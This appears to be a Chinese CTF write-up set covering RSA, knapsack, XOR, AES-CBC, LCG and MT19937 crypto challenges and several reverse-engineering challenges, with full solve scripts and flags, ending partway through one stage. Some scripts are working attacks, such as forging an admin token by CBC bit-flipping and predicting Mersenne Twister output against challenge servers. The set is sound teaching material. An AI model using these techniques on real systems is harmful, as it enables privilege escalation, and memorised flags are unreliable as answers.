每个实例的加密对象是 $a_im+b_i$ 而不是 $m$,不能直接 CRT 密文。先在模 $n_i$ 下除以 $a_i^e$,化成首一多项式:
\[
f_i(x)=(x+b_ia_i^{-1})^e-c_ia_i^{-e}\pmod{n_i}\]且 $f_i(m)\equiv0\pmod{n_i}$。再用系数级 CRT 合并为模 $N=\prod n_i$ 的首一多项式 $F(x)$,于是 $F(m)\equiv0\pmod N$,转化为 Coppersmith 一元小根问题。
过程
完整求解脚本
保存为 solve.sage。脚本既支持离线读取 JSON,也支持直接连接远程服务,自动完成“取数据 -> 求 $m$ -> 提交 proof”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 """ RSA Linear Broadcast solver. Usage: sage solve.sage sample_instance.json # offline JSON sage solve.sage <host> <port> <team-token> # remote """ import jsonimport socketimport sysdef build_crt_polynomial (instances, e ): """Return monic f(x) over Z/N with f(m) == 0 (mod N), N=prod n_i.""" ns = [ZZ(d["n" ]) for d in instances] for i in range (len (ns)): for j in range (i + 1 , len (ns)): if gcd(ns[i], ns[j]) != 1 : raise ValueError("moduli are not pairwise coprime" ) N = prod(ns) local_polys = [] for d in instances: n, a, b, c = ZZ(d["n" ]), ZZ(d["a" ]), ZZ(d["b" ]), ZZ(d["c" ]) a_inv = inverse_mod(a, n) alpha = (b * a_inv) % n beta = (c * pow (a_inv, e, n)) % n Rloc.<z> = PolynomialRing(Zmod(n)) f = (z + alpha) ** e - beta assert f.is_monic() local_polys.append(f) R.<x> = PolynomialRing(Zmod(N)) coeffs = [] for j in range (e + 1 ): residues = [] for f in local_polys: fl = f.list () residues.append(ZZ(fl[j]) if j < len (fl) else ZZ(0 )) coeffs.append(crt(residues, ns)) F = R(coeffs) assert F.is_monic() return F, N, ns def verify (m, instances, e ): return all ( (ZZ(d["a" ]) * m + ZZ(d["b" ])) ** e % ZZ(d["n" ]) == ZZ(d["c" ]) for d in instances ) def recover_m (instances, e ): F, N, ns = build_crt_polynomial(instances, e) print ("[*] e = %d, k = %d, N has %d bits" % (e, len (ns), N.nbits())) max_bits = int (N.nbits() // e) for bits in range (32 , max_bits + 1 , 8 ): try : roots = F.small_roots(X=ZZ(2 ) ** bits, beta=1.0 ) except Exception: roots = [] for r in roots: m = ZZ(r) if verify(m, instances, e): print ("[+] root found with X = 2^%d" % bits) return m for eps in [0.05 , 0.02 , 0.01 , 0.005 , 0.003 , 0.002 ]: bits = int (N.nbits() * (1 / ZZ(e) - eps)) if bits <= 0 : continue try : roots = F.small_roots(X=ZZ(2 ) ** bits, beta=1.0 , epsilon=eps) except Exception: continue for r in roots: m = ZZ(r) if verify(m, instances, e): print ("[+] root found with epsilon = %s" % eps) return m raise ValueError("small root not found" ) def recv_until (sock, marker ): data = b"" while marker not in data: chunk = sock.recv(4096 ) if not chunk: break data += chunk return data def solve_remote (host, port, token ): s = socket.create_connection((host, port), timeout=15 ) recv_until(s, b"TEAM> " ) s.sendall(token.encode() + b"\n" ) line = b"" while not line.endswith(b"\n" ): ch = s.recv(1 ) if not ch: break line += ch payload = json.loads(line.decode()) print (json.dumps(payload, indent=2 )[:800 ]) e = int (payload["e" ]) m = recover_m(payload["instances" ], e) proof = format (m, "x" ) print ("[+] m = %d" % m) print ("[+] proof = %s" % proof) recv_until(s, b"SUBMIT> " ) s.sendall(("SUBMIT " + proof + "\n" ).encode()) print (s.recv(4096 ).decode(errors="replace" )) s.close() def main (): if len (sys.argv) == 2 : payload = json.load(open (sys.argv[1 ], encoding="utf-8" )) elif len (sys.argv) == 4 : return solve_remote(sys.argv[1 ], int (sys.argv[2 ]), sys.argv[3 ]) else : print (__doc__) return e = int (payload["e" ]) m = recover_m(payload["instances" ], e) print ("[+] m = %d" % m) print ("[+] proof = %s" % format (m, "x" )) print ("[+] verification:" , verify(m, payload["instances" ], e)) if __name__ == "__main__" : main()
远程利用步骤
最直接的方式是让脚本一次完成取数据和提交:
1 sage solve.sage xxx <PORT> <TEAM_TOKEN>
也可以先用附件里的 client.py 把实例保存到本地:
1 2 python3 client.py xxx <PORT> <TEAM_TOKEN> -o instance.json sage solve.sage instance.json
拿到 proof 后再手动提交:
1 SUBMIT> 999468d8b2da7c3c
脚本内部在拿到 $m$ 后会先做一次全实例验算:
\[
(a_i m+b_i)^e\bmod n_i=c_i\]全部通过才提交,避免因为取错根而浪费一次交互。服务端正常情况下返回动态 flag;若返回 Invalid,通常是 proof 编码不对(例如多带了 0x、用了大写)或本次提交超时,需要重新连接取实例。
Flag
ZeroGFlag{2f2ef7ab-7c94-4f8c-ba97-927e97e367c1}
Stage1—小小的e
叮!你收到了一封来自Pwnstars实验室C师傅的邮件。邮件里没有长篇大论,只有几组孤零零的数字。随信附上了一张便利贴,上面写着:“所有的线索都在这些数字里了,连个复杂的锁都没上,剩下的可就看你的本事了哦!”
破解数字背后的秘密,找到通关密钥吧!
flag格式:ZeroG{…}
思路
$e=3$ 且 $c$ 只有 1028 bit,远小于 2048 bit 的 $n$,说明 $m^3<n$,模运算没有真正发生,加密退化为普通整数幂:
\[
c=m^3\]因此对 $c$ 开三次方即可,不需要分解 $n$。本题 $n^{1/3}$ 约 683 bit,恢复出的 $m$ 只有 343 bit,条件完全成立。
过程
解析参数
题目中的参数均为十六进制字符串(无 0x 前缀),直接用 Python 的 int(x, 16) 转换即可:
1 2 3 n = int (n_hex, 16 ) e = 3 c = int (c_hex, 16 )
题意分析
页面给出了 RSA 的三组公开参数:
模数 n:2048 bit
公钥指数 e = 3
密文 c
并要求提交恢复出的明文整数 m,校验通过后返回 flag。
RSA 的加密公式为:
\[
c \equiv m^{e} \pmod{n}\]即:
\[
c = m^{3} \bmod n\]题目的提示也很直接:注意 e 有多“小”。当 e 很小、而明文 m 又不够大时,可能出现 $m^{e} < n$ 的情况。此时模运算并没有真正发生,加密退化为普通的整数幂:
\[
c = m^{3}\]于是只要对 c 开三次方,就能直接得到 m,完全不需要分解 n。
Flag
ZeroG{ce883474-3f12-4aac-a5b6-d2e867fc2d1b}
Stage 2 Backpack Echo
Fen在一次考古行动中发现了一台上古时期的「背包加密」服务器,它至今仍在运行。
这让同行的N1,A,K7,CC都很惊讶。经过检查后发现了一些好玩的
服务端会为每支队伍生成专属的背包公钥与一段密文,密文中隐藏着换取 flag 所需的 proof:ciphertext = sum(bit_i * a_i),即密文是公钥元素的 0/1 子集和。
思路
背包密度 $d=n/\log_2(\max a_i)\approx0.842$,低于 CJLOSS 低密度攻击阈值 $0.9408$,可以用格约化求解。构造 CJLOSS 格(整数形式,整体乘 2 消除分数):
\[
B'=
\begin{pmatrix}
2 & 0 & \cdots & 0 & 2Na_0\\
0 & 2 & \cdots & 0 & 2Na_1\\
\vdots & \vdots & \ddots & \vdots & \vdots\\
0 & 0 & \cdots & 2 & 2Na_{n-1}\\
1 & 1 & \cdots & 1 & 2Ns
\end{pmatrix}\]目标向量为 $(2b_0-1,\dots,2b_{n-1}-1,0)$,最后一维为 0,前 $n$ 维均为 $\pm1$。
过程
本地求解(SageMath)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import json, sys, timefrom sage.all import matrix, ZZdef build (n, a, s, N=1 ): """构造整数形式的 CJLOSS 格。""" M = n + 1 B = matrix(ZZ, M, M) for i in range (n): B[i, i] = 2 B[i, n] = 2 * N * a[i] for j in range (n): B[n, j] = 1 B[n, n] = 2 * N * s return B def scan (B, n, a, s ): """在约化后的基中寻找 (2b_i-1, 0) 或它的相反数。""" for r in range (n + 1 ): row = [int (x) for x in B[r]] if row[n] != 0 : continue if any (abs (x) != 1 for x in row[:n]): continue bits = [1 if x == 1 else 0 for x in row[:n]] for cand in (bits, [1 - b for b in bits]): if sum (cand[i] * a[i] for i in range (n)) == s: return cand return None def solve (inst ): n, a, s = inst["n" ], inst["public_key" ], inst["ciphertext" ] for blk in (0 , 30 , 40 , 50 , 60 , 70 ): B = build(n, a, s) if blk == 0 : B = B.LLL() tag = "LLL" else : B = B.BKZ(block_size=blk) tag = "BKZ-%d" % blk bits = scan(B, n, a, s) if bits is not None : print ("[+] solved with %s" % tag) return bits raise RuntimeError("lattice reduction failed" ) def to_proof (bits ): val = 0 for b in bits: val = (val << 1 ) | b return format (val, "0%dx" % (len (bits) // 4 )) if __name__ == "__main__" : inst = json.load(open (sys.argv[1 ])) t = time.time() bits = solve(inst) print ("[*] time = %.3f s" % (time.time() - t)) print ("[+] bits =" , "" .join(map (str , bits))) print ("[+] proof =" , to_proof(bits)) print ("[+] verify =" , sum (bits[i] * inst["public_key" ][i] for i in range (inst["n" ])) == inst["ciphertext" ])
密度判断与攻击思路
背包密度定义为
\[
d=\frac{n}{\log_2(\max_i a_i)}\]样例实例中 $\max_i a_i$ 约为 $2^{93}$,所以
\[
d_{\text{sample}}\approx \frac{80}{93}=0.860\]线上实例中 $\max_i a_i$ 约为 $2^{95}$,所以
\[
d_{\text{live}}\approx \frac{80}{95}=0.842\]两者都低于 CJLOSS 低密度攻击的理论阈值 $0.9408$。因此可以用格约化来找子集和。
题面提示也指向同一方向:把公钥和密文放进同一个高维整数向量中,让“选或不选”变成一个很短的格向量,再通过 LLL / BKZ 把它约化出来。
Flag
ZeroGFlag{b3f3814b-d6bf-4728-bc44-44f9c4b02afb}
Stage2 — EasyCaesarXOR
小明说他发明了一种”双重加密”,还大言不惭地说没人能解开。 拿到这段话之后,你觉得这不过是两步就能搞定的事。
思路
Base64 解码后得到 42 个字节,不是可读文本,说明还有一层单字节 XOR。密钥空间只有 $2^8=256$,枚举全部密钥,用「是否以 flag{ 开头、以 } 结尾」筛选即可。
过程
求解代码
1 2 3 4 5 6 7 8 9 10 11 12 import base64c = "GRMeGARMSElOSE1OSlJOHEseUktGHUtSRhtNSFJORx1HGkxLR0tKHhkC" data = base64.b64decode(c) print ("中间密文:" , data.hex (), "长度:" , len (data))for k in range (256 ): p = bytes (b ^ k for b in data) if p.startswith(b"flag{" ) and p.endswith(b"}" ): print (f"key = {k} (0x{k:02x} )" ) print (p.decode())
如果想看全部「可打印」候选,可以换成下面的写法,避免漏掉非标准格式的明文:
1 2 3 4 5 6 7 8 9 10 import base64import stringc = "GRMeGARMSElOSE1OSlJOHEseUktGHUtSRhtNSFJORx1HGkxLR0tKHhkC" data = base64.b64decode(c) for k in range (256 ): p = bytes (b ^ k for b in data) if all (32 <= b < 127 for b in p): print (f"0x{k:02x} {p.decode()} " )
单行版本:
1 2 3 4 import base64d = base64.b64decode("GRMeGARMSElOSE1OSlJOHEseUktGHUtSRhtNSFJORx1HGkxLR0tKHhkC" ) print ([bytes (x ^ k for x in d).decode() for k in range (256 ) if bytes (x ^ k for x in d).startswith(b"flag{" )][0 ])
Flag
flag{37617215-1c4a-49b4-9d27-18b8e34845af}
Stage2—身份危机
碰星实验室最近上线了一套全新的身份令牌系统,管理员信心满满地说道:“放心吧!每张通行证都经过了严密保护,普通访客就是普通访客,绝不可能摇身一变成为管理员!”
一旁的碰星娘看了看手里的通行证,眨了眨眼睛,笑着问道:“那如果通行证看起来还是原来的样子,里面的信息却悄悄变了呢?”
管理员的笑容突然凝固了。
而你的手中,恰好也有一张普通访客的通行证。
你能让系统认可一个全新的身份吗?
flag格式:ZeroG{…}
思路
AES-CBC 具有可延展性:
\[
P_i=D_K(C_i)\oplus C_{i-1}\]只修改前一个密文分组 $C_2$,就能在不掌握密钥的情况下把第三块明文精确改为目标值:
\[
P_3'=P_3\oplus\Delta,\qquad \Delta=P_3\oplus P_3'\]role=guest; 和 role=admin; 都是 11 字节,填充也完全一致,因此只需翻转 C2 中角色字段对应的 5 个字节。
过程
利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import base64import reimport requestsBASE = "http://xxx" s = requests.Session() r = s.get(f"{BASE} /" , params={"action" : "token" }) r.raise_for_status() token = re.search( r'<code class="selectable">([^<]+)</code>' , r.text ).group(1 ) raw = bytearray (base64.b64decode(token)) assert len (raw) == 64 , len (raw)old_p3 = b"role=guest;" + bytes ([5 ]) * 5 new_p3 = b"role=admin;" + bytes ([5 ]) * 5 delta = bytes (a ^ b for a, b in zip (old_p3, new_p3)) for i, d in enumerate (delta): raw[32 + i] ^= d forged = base64.b64encode(raw).decode() print ("[+] original token:" , token)print ("[+] forged token:" , forged)r = s.post(f"{BASE} /admin.php" , data={"token" : forged}) r.raise_for_status() print (r.text)flag = re.search(r"ZeroG\{[^}]+\}" , r.text) if flag: print ("[+] flag:" , flag.group(0 ))
也可以只修改角色对应的 5 个字节,效果完全相同:
1 2 for i, (a, b) in enumerate (zip (b"guest" , b"admin" )): raw[32 + 5 + i] ^= a ^ b
Flag
ZeroG{332b2270-c1d2-4969-aba3-c9430aed005f}
Stage3—LCG_predict
我们的随机数生成器采用了”不可破解”的线性同余算法(LCG)。 下面给你 6 个连续输出作为诚意,密文就压在下一个输出流里。 你能推算出后面的”随机数”吗?
思路
LCG 的状态转移为
\[
s_{n+1}=(as_n+c)\bmod m\]参数和状态全部已知,直接从最后一个输出 $s_6$ 继续推进,每次取状态最低字节 $k_i=s_i\&0xFF$ 与密文字节异或,即可复现密钥流。
过程
完整求解代码
下面的脚本会先校验已知输出是否满足递推,然后从 \(s_6\) 开始继续生成密钥流并解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from binascii import unhexlifya = 1103515245 c = 12345 m = 2147483648 outputs = [ 967631879 , 1619093812 , 392155997 , 1025606866 , 1244248483 , 1097196704 , ] flag_enc = unhexlify( "3f729eab6e4e2b89a5c5c001ffafa7e3f8fac2c8b3bc3bc539c5d2a11051e5360e1dbb4dc2ef9979142b" ) s = outputs[0 ] for i, expected in enumerate (outputs[1 :], start=2 ): s = (a * s + c) % m assert s == expected, f"s{i} mismatch: {s} != {expected} " print ("[+] LCG parameters and outputs verified" )s = outputs[-1 ] keystream = [] plaintext = bytearray () for byte in flag_enc: s = (a * s + c) % m k = s & 0xFF keystream.append(k) plaintext.append(byte ^ k) print ("[+] keystream (hex):" , bytes (keystream).hex ())print ("[+] plaintext:" , plaintext.decode())print ("[+] flag:" , plaintext.decode())
运行结果:
1 2 3 4 [+] LCG parameters and outputs verified [+] keystream (hex): 591effcc152a1bb891f6f764cd8293d0c9ceeffc85da0be801a6e7943d328300397edf2cf58afb187156 [+] plaintext: flag{d01437e2-4314-46f0-8c55-cf67cda7ebae} [+] flag: flag{d01437e2-4314-46f0-8c55-cf67cda7ebae}
解密过程明细
为了更直观地展示每一步,下面列出前几个状态、对应的最低字节以及恢复出的明文字符:
可以看到前 6 个明文字符正好是 flag{d,说明密钥流的对齐方式是正确的。
完整解密后得到:
1 flag{d01437e2-4314-46f0-8c55-cf67cda7ebae}
Flag
flag{d01437e2-4314-46f0-8c55-cf67cda7ebae}
Stage3—随机数真的随机吗???
“过去的结果都在这里了!但未来嘛,谁也说不准~”
flag格式:ZeroG{…}
思路
MT19937 的状态是 624 个 32 位字,623 个字只有 19936 bit,比状态维数 19937 少 1 bit;624 个字则足够。每次输出还经过可逆的 tempering 变换,因此逐个 untemper 就能还原整块状态,再做一次 twist 即得到下一块。
过程
完整求解代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import reimport requestsURL = "http://xxx/" MASK32 = 0xFFFFFFFF def temper (y ): """MT19937 的输出变换""" y ^= y >> 11 y ^= (y << 7 ) & 0x9D2C5680 y ^= (y << 15 ) & 0xEFC60000 y ^= y >> 18 return y & MASK32 def untemper (y ): """temper 的逆变换,把 32 位输出还原成状态字""" y ^= y >> 18 y ^= (y << 15 ) & 0xEFC60000 x = y for _ in range (5 ): x = y ^ ((x << 7 ) & 0x9D2C5680 ) y = x & MASK32 x = y for _ in range (3 ): x = y ^ (x >> 11 ) return x & MASK32 def twist (state ): """对整个 624 字状态做一次旋转,原地更新""" for i in range (624 ): y = (state[i] & 0x80000000 ) | (state[(i + 1 ) % 624 ] & 0x7FFFFFFF ) state[i] = ( state[(i + 397 ) % 624 ] ^ (y >> 1 ) ^ (0x9908B0DF if y & 1 else 0 ) ) return state def main (): s = requests.Session() html = s.get(URL).text outputs = [int (h, 16 ) for h in re.findall(r"output\\[\d+\\] = 0x([0-9a-fA-F]{8})" , html)] assert len (outputs) == 624 , "页面只返回了 %d 个输出,实例可能已关闭" % len (outputs) print ("[+] 抓取到 %d 个输出" % len (outputs)) state = [untemper(v) for v in outputs] assert all (temper(untemper(v)) == v for v in outputs) state = twist(state) prediction = temper(state[0 ]) print ("[+] 预测值: %d (0x%08x)" % (prediction, prediction)) resp = s.post(URL, data={"prediction" : hex (prediction)}).text flag = re.findall(r"ZeroG\{[^}]+\}" , resp) print ("[+] 响应中的 Flag:" , flag[0 ] if flag else "未找到" ) if __name__ == "__main__" : main()
如果不想手写 untemper,也可以直接用现成的轮子:
1 2 3 4 5 6 from randcrack import RandCrackrc = RandCrack() for v in outputs: rc.submit(v) prediction = rc.predict_getrandbits(32 )
RandCrack 内部做的正是同样的“untemper → 存状态 → twist”流程。本题为了把原理讲清楚,代码里是手写的。
Flag
ZeroG{8e7f1468-a61a-4183-8a12-a3ef3d3cfc45}
REVERSE RE01 — 藏了,但没完全藏
坏消息:Flag 藏起来了。
好消息:藏得不是很认真。
你翻了翻程序,发现它甚至把答案摆在了明面上。
难道出题人这么良心?
你兴冲冲地复制粘贴,结果程序反手给你一个 Wrong。
看起来乱七八糟的
但仔细想想……
它们好像乱得还挺整齐?
思路
.data 中有一条看起来像答案的字符串 flag{FoVmRkHdCvesjlUI5uUzjvTrWN9n2fOBX8ks},但直接输入会 Wrong。原因是程序比较的是 $E(\text{input})$ 与这条目标串,目标串本身已经是 $E(F)$,需要再逆向一次。
校验函数 0x140002050 对前 5 字节 flag{ 和最后一个 } 原样保留,对其余字符按类型分别循环移位 7:小写字母、大写字母、数字各在自己的字符集内移动。三段本质上是同一个凯撒。
过程
求解脚本
脚本直接从 PE 文件里取目标字符串,避免手抄出错。.data 的 RVA 是 0x3000,文件偏移是 0x1C00,目标长度为 42:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pathlib import PathTARGET_OFF = 0x1C00 LEN = 42 data = Path("chal_01.exe" ).read_bytes() target = data[TARGET_OFF:TARGET_OFF + LEN] assert len (target) == LENassert target[:5 ] == b"flag{" and target[-1 :] == b"}" print ("target =" , target.decode())def shift (c: int , delta: int ) -> int : """在字符所属的字符集里循环移动 delta 位。""" if 0x61 <= c <= 0x7A : return (c - 0x61 + delta) % 26 + 0x61 if 0x41 <= c <= 0x5A : return (c - 0x41 + delta) % 26 + 0x41 if 0x30 <= c <= 0x39 : return (c - 0x30 + delta) % 10 + 0x30 return c flag = bytearray (target) for i in range (5 , 41 ): flag[i] = shift(flag[i], -7 ) print ("flag =" , flag.decode())def encode (s: bytes ) -> bytes : out = bytearray (s) for i in range (5 , 41 ): out[i] = shift(out[i], +7 ) return bytes (out) assert encode(bytes (flag)) == targetprint ("[OK] encode(flag) == target" )
运行结果:
1 2 3 target = flag{FoVmRkHdCvesjlUI5uUzjvTrWN9n2fOBX8ks} flag = flag{YhOfKdAwVoxlceNB8nNscoMkPG2g5yHUQ1dl} [OK] encode(flag) == target
逐字符看,正文的 36 个字符是这样变回来的:
1 2 密文: F o V m R k H d C v e s j l U I 5 u U z j v T r W N 9 n 2 f O B X 8 k s 明文: Y h O f K d A w V o x l c e N B 8 n N s c o M k P G 2 g 5 y H U Q 1 d l
Flag
flag{YhOfKdAwVoxlceNB8nNscoMkPG2g5yHUQ1dl}
RE02 — 我绝对不会告诉你这个是XOR的
重生之我在 CTF 搞自主研发加密算法。
第一天:加密成功,安全无敌!
第二天:算法通过测试,准备上市!
第三天:发现加密操作还能反着用。
第四天:公司破产。
第五天:发现自己甚至不需要反着用。
偷偷告诉你嗷
不是所有加密都需要解密,有的只需要再来一次。
思路
算法为
\[
C_i=P_i\oplus K_{i\bmod 6}\oplus0x23\]异或是对合运算,加密函数就是自己的逆函数,把密文再做一次同样操作即可恢复明文。密钥在 .data 的 0x140003018,共 6 字节 13 37 42 66 20 26;密文在 0x14000301E,长度 42。字符串 N1_is_not_the_key 是干扰项。
过程
解密脚本
直接按上面的公式写 Python 即可:
1 2 3 4 5 6 7 8 9 10 key = bytes .fromhex("13 37 42 66 20 26" ) ciphertext = bytes .fromhex( "56 78 00 22 78 72 51 64 2C 30 46 5D 00 4E" "0D 36 67 43 72 21 33 3D 50 75 06 64 2B 09" "4B 4F 77 4C 14 35 56 53 64 73 05 72 30 78" ) flag = bytes (c ^ key[i % 6 ] ^ 0x23 for i, c in enumerate (ciphertext)) print (flag.decode())
如果想直接从 PE 文件里读,不手动抄字节,也可以用 pefile 定位 .data:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import pefilepe = pefile.PE("chal_02.exe" ) image_base = pe.OPTIONAL_HEADER.ImageBase data_rva = 0x3000 data = pe.get_data(data_rva, 0x100 ) length = int .from_bytes(data[0x14 :0x18 ], "little" ) key = data[0x18 :0x1E ] ciphertext = data[0x1E :0x1E + length] flag = bytes (c ^ key[i % 6 ] ^ 0x23 for i, c in enumerate (ciphertext)) print (length, key.hex ())print (flag.decode())
运行结果:
1 2 42 133742662026 flag{wapMuEX0ZlsdFB5RxSp6pJLHJGXupUVTgd73}
定位校验函数
在 IDA 中打开,字符串窗口里对 Input Flag > 取交叉引用,可以来到主流程:
1 2 3 4 5 6 7 8 9 10 140001833 push rbp ... 140001862 lea rax, "Input Flag >" 14000186c call std::cout << ... 140001871 lea rax, [rbp-0x90] ; 输入缓冲区 140001878 mov edx, 0x80 ; 最多读 0x80 字节 140001880 call 0x140001600 ; fgets 类似的读取函数 140001890 lea rax, [rbp-0x90] 14000189a call 0x14000169d ; 核心校验函数 1400018a7 call 0x1400017c9 ; 根据返回值打印 Correct / Wrong
因此核心校验逻辑位于 0x14000169D。这个函数不大,完整逻辑可以还原成下面的形式。
Flag
flag{wapMuEX0ZlsdFB5RxSp6pJLHJGXupUVTgd73}
RE03 — EXE也追求完美身材
听说EXE最近开始健身了。
一顿疯狂操作,成功练成了小瘦子。
本来以为文件小了,逆向也就简单了。
结果打开 IDA:
代码呢?
我那么大一坨代码呢?
好不容易让它恢复了原来的体型。
但这家伙的记忆好像出了点问题
东一块,西一块,连顺序都快认不出来了…….
思路
节表为 UPX0/UPX1/UPX2,导入表只剩 LoadLibraryA、GetProcAddress、VirtualProtect,可判定为 UPX。upx -d 脱壳后体积从 74752 字节恢复到 149504 字节,主流程在 0x140001890。
校验函数 0x140001720 依次做三步:
shuffle:按奇偶下标拆成两段,E(x)=x_0x_2...x_{40} || x_1x_3...x_{41};
reverse42:整体倒序;
标准 Base64 编码,与目标串比较。
格式检查里还有一段 UUID(8-4-4-4-12)校验,但被一条 jmp 架空,实际不生效。
过程
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64TARGET = "fWU4bDNhcTRhNVlQbEs3S09ZS2dsOHpmTklqaDJhTkFEWmtvc2J2e2Fm" raw = base64.b64decode(TARGET) s = raw[::-1 ] half = len (s) // 2 flag = bytearray (len (s)) flag[0 ::2 ] = s[:half] flag[1 ::2 ] = s[half:] flag = bytes (flag).decode() print (flag)assert len (flag) == 42 assert flag.startswith("flag{" ) and flag.endswith("}" )def shuffle (x ): return x[0 ::2 ] + x[1 ::2 ] enc = base64.b64encode(shuffle(flag)[::-1 ].encode()).decode() assert enc == TARGETprint ("recheck ok" )
运行结果:
1 2 flag{KvYbOsKo7kKZlDPAYN5aa24hqjaI3Nlf8ze8} recheck ok
如果想把目标串也从文件里读出来,而不是硬编码,可以这样取(脱壳后的镜像,VA 0x140018340):
1 2 3 4 5 import pefilepe = pefile.PE("unpacked.exe" ) image_base = pe.OPTIONAL_HEADER.ImageBase target = pe.get_data(0x140018340 - image_base, 56 ).decode() print (target)
定位主流程
入口点 0x140001d20 是 CRT 的启动代码,往下跟到 __scrt_common_main_seh,最终调用真正的 main:
1 2 3 0x140001d20 entry -> 0x140001f74 __scrt_common_main_seh -> 0x140001890 main
main 很短:
1 2 3 4 5 6 7 8 9 10 11 12 int main (int argc, char **argv, char **envp) { setup_console(); print_banner_and_prompt(); fgets(buf, 0x80 , stdin ); strip_crlf(buf); bool ok = check_flag(buf); show_result(ok); wait_enter(); }
真正干活的是 0x140001720:
1 2 3 4 5 6 7 8 9 10 11 12 13 bool check_flag (char *s) { char A[0x30 ], B[0x30 ], C[0x30 ]; if (!check_format(s)) return false ; shuffle(s, A, 42 ); reverse42(A, B); b64_encode(B, 42 , C); return strcmp (C, "fWU4bDNhcTRhNVlQbEs3S09ZS2dsOHpmTklqaDJhTkFEWmtvc2J2e2Fm" ) == 0 ; }
实际动手时不必从入口一路硬跟,两个 xref 就能落到校验函数:
strings -tx RE03.exe 找到 Input Flag > 的文件偏移,换算成 VA 是 0x140023210;在 IDA 里对它按 x,只有 0x140001105 一处 lea 引用,紧接着 0x14000110c 就是 call sub_1400019A0(printf 包装)。
该调用点属于 sub_1400010C0,它的调用者只有 main(0x1400018AE)。在 main 里紧跟着 fgets 和去换行的调用之后,0x140001903 就是 call sub_140001720,校验逻辑全在里面。
Flag
flag{KvYbOsKo7kKZlDPAYN5aa24hqjaI3Nlf8ze8}
RE04 — 嘿嘿,看我乾坤大挪移
数据管理中心紧急事故通报
今日凌晨,42 名字符在未经批准的情况下擅自调换座位。
经核实:
无字符失踪。
无数据损坏。
无内存伤亡 。
但由于现场座位表已被彻底打乱,所有字符均表示自己才应该坐在正确的位置。
调查组目前正在寻找原始座位表,以及那条神秘的调座规则。
思路
42 = 7 × 6。.rdata 的 0x140004161 处有 7 字节置换表 {3, 0, 6, 2, 5, 1, 4},程序只打印了前 3 组映射,其余 4 组需要从表中读取。
正向变换为
\[
\text{out}[6i+j]=\operatorname{ROL8}\left(\text{in}[6G[i]+j],\ (6i+j)\bmod3+1\right)\]每组 6 个位置固定使用移位量 1,2,3,1,2,3。
过程
求解脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 CT = bytes .fromhex( "6CC02284DDB9CCB10BCEEDAADE913BCCDDEB92D09364E1" "89F015A172CDC1EADD9AA6CD12C6B1A1A60523" ) PERM = [3 , 0 , 6 , 2 , 5 , 1 , 4 ] def rol8 (b, k ): return ((b << k) | (b >> (8 - k))) & 0xFF def ror8 (b, k ): return ((b >> k) | (b << (8 - k))) & 0xFF flag = bytearray (42 ) for i in range (7 ): for j in range (6 ): p = i * 6 + j flag[6 * PERM[i] + j] = ror8(CT[p], p % 3 + 1 ) print (flag.decode())
输出:
1 flag{UuwSSsBI4r2x160DBw7cl4SAdxE49s8odgfw}
也可以写一个“回代”验证,把解出的 Flag 按题目规则正向变换一遍:
1 2 3 4 5 6 7 enc = bytearray (42 ) for i in range (7 ): for j in range (6 ): p = i * 6 + j enc[p] = rol8(flag[6 * PERM[i] + j], p % 3 + 1 ) assert bytes (enc) == CT
脚本运行通过,说明逆变换和组置换都没有写反。
定位校验逻辑
用 IDA/Ghidra 打开后,依据字符串 [ MEMORY RECOVERY ] 交叉引用可以很快找到主菜单循环和三个功能函数(以下按 ImageBase 0x140000000 标注地址):
校验函数 0x140002050 的逻辑很直白:
1 2 3 4 5 6 7 8 int check (char *input) { if (strlen (input) != 42 ) return 0 ; unsigned char buf[42 ]; transform(input, buf); return memcmp (buf, cipher, 42 ) == 0 ; }
其中密文指针来自 0x140002110:
1 2 140002110 lea rax, [rip+0xef6] ; rax = 0x140003011 14000211b ret
所以真正参与比较的数据在 .data 的 0x140003011 处。
Flag
flag{UuwSSsBI4r2x160DBw7cl4SAdxE49s8odgfw}
RE05 — 石头剪刀布!
欢迎体验最新推出的戒赌模拟器。
玩法简单。
石头,剪刀,布。
连赢八次 就能通关!
第一把赢了:有点东西。
第四把赢了:天命在我。
第七把赢了:这把稳了!
第八把输了:?
系统:请重新开始。
你:???
系统:请重新开始。
思路
主循环中:
1 2 3 s0 = challenge_id XOR 0x5A17C3E9 s(n) = (0x19660D * s(n-1) + 0x3C6EF35F) mod 2^32 ai = (s(n) >> 16) mod 3
出拳编号 0=石头、1=剪刀、2=布,玩家要赢需满足 user = (ai + 2) mod 3,程序输入编号再 +1。
flag 不依赖 Challenge ID,.data 中 42 字节密文用 key=0x91CCE4AD 和 (17*i+61) 双重异或。
过程
flag 解密
通关后调用 0x1400024a0,其中会调用 0x140002090 生成 flag,然后 puts 输出。0x140002090 的关键代码:
